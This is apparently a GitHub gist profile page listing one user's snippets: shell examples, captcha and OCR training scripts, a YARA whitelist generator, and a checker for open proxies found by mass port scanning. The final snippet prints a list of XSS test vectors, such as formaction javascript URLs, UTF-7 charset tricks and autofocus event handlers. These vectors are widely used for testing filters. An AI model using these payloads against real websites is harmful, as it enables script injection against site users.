Skip to content

Instantly share code, notes, and snippets.

View mylamour's full-sized avatar
✌️
Do the right thing

Mour mylamour

✌️
Do the right thing
View GitHub Profile
import datetime
from time import mktime
try:
import simplejson as json
except ImportError:
import json
class DateTimeEncoder(json.JSONEncoder): # 为 JSONEncoder 进行扩展
def default(self, obj):
if isinstance(obj, datetime.datetime):
@mylamour
mylamour / ALLINSHELL.sh
Created February 9, 2017 08:50
Advace SHELL example , parser from http://www.tldp.org/
This file has been truncated, but you can view the full file.
#!/bin/bash
echo "\$\$ outside of subshell = $$" # 9602
echo "\$BASH_SUBSHELL outside of subshell = $BASH_SUBSHELL" # 0
echo "\$BASHPID outside of subshell = $BASHPID" # 9602
echo
( echo "\$\$ inside of subshell = $$" # 9602
echo "\$BASH_SUBSHELL inside of subshell = $BASH_SUBSHELL" # 1
@mylamour
mylamour / checkProxy.py
Last active February 16, 2017 09:12
之前在vultr上masscan扫到1千多万的8080端口的ip,写了个脚本验证下,当然,这个脚本还需要改进很多。还不如爬代理网站靠谱
#!/usr/bin/env python
import requests
import cPickle as pickle
s = requests.Session()
with open('./iplist.list') as proxylists,open("needproxy.pkl","a") as usefull:
for proxy in proxylists.readlines():
tmp = {
"http": "http://{}:8080".format(proxy),
@mylamour
mylamour / make_captcha.py
Created February 21, 2017 03:21
make a captcha, jsut use it to generate data for cracking captcha.
#!/usr/bin/env python
# coding: utf-8
import string,random
import numpy as np
from captcha.image import ImageCaptcha
import matplotlib.pyplot as plt
from PIL import Image
@mylamour
mylamour / convert_to_xls.py
Last active March 6, 2017 08:46
虽然我爬取了这个网站的数据,但我不认为这个网站的数据是真实的.
#!/usr/bin/env python
# coding:utf-8
"""
this code make me look like a idiot. and the O(n^2) is not a good idea, we can use a dict to store the first file info,and just go
through the second file, clearly, it can be reduce about (m-n), also, if we use binaray search to O(nlogN), but in python , use dict
to do this ,it just only O(1)
info sturct like this: [{},{},{}]
i will optimized this code later and this code just want show how use the pandas dataframe to convert json to xlsx
"""
@mylamour
mylamour / gen.sh
Last active May 24, 2017 11:28
generate chinese character, 生成汉字
#!/usr/bin/env bash
for font in $(ls -d $PWD/font/**)
do
rm -rf ./tmp_img
echo "Now we process font file in $font "
python3 gen_chinese_character_img.py $font
null_img_size=`find ./tmp_img -type f -exec ls -lSd {} + | awk '{print $5}' | uniq | tail -n 1`
count="ls ./tmp_img | wc -l"
o_count=`eval $count`
@mylamour
mylamour / comman_training.sh
Created May 24, 2017 11:42
There was two file show how to traing with tesseract ,include comman_training and lstm training
#!/usr/bin/env bash
export PATH=$PATH:/home/tesseract/training
#for comman training
#step 1 : gen img
chmod +x ./gen_img.sh
./gen_img.sh #gen_img is my script to generator the image, you can see it in my another gist
#step 2 : gen box file and gen tr file
@mylamour
mylamour / sklearn_knn_mnist.ipynb
Last active September 25, 2017 05:52
jupyter test on gist, Also Machine learning training for Colleagues
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@mylamour
mylamour / gen_yara_whitelist.sh
Created September 25, 2017 07:15
yara whitelist,rule gen
#!/usr/bin/env bash
#example:
#------------------------------------------------------------------------------------------------
#import "hash"
#rule wordpress
# {
# condition:
# /* /home/mour/working/data/wordpress/wordpress-mu-2.6.3/wp-admin */
# hash.sha1(0, filesize) == "a677f8f321832903f361f21ff07cbbac82c132f4" or
>>> vectors()
<div id="1"><form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>//["'`-->]]>]</div><div id="2"><meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi//["'`-->]]>]</div><div id="3"><meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>//["'`-->]]>]</div><div id="4">0?<script>Worker("#").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))//["'`-->]]>]</div><div id="5"><script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(5)',384,null,'rsa-dual-use')</script>//["'`-->]]>]</div><div id="6"><script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>//["'`-->]]>]</div><div id="7"><input onfocus=alert(7) autofocus>//["'`-->]]>]</div><div id="8"><input onblur=alert(8) autofocus><input autofocus>//["'`-->]]>]</div><div id="9"><a style="-o-link:'javascript:alert(9)';-o-link-source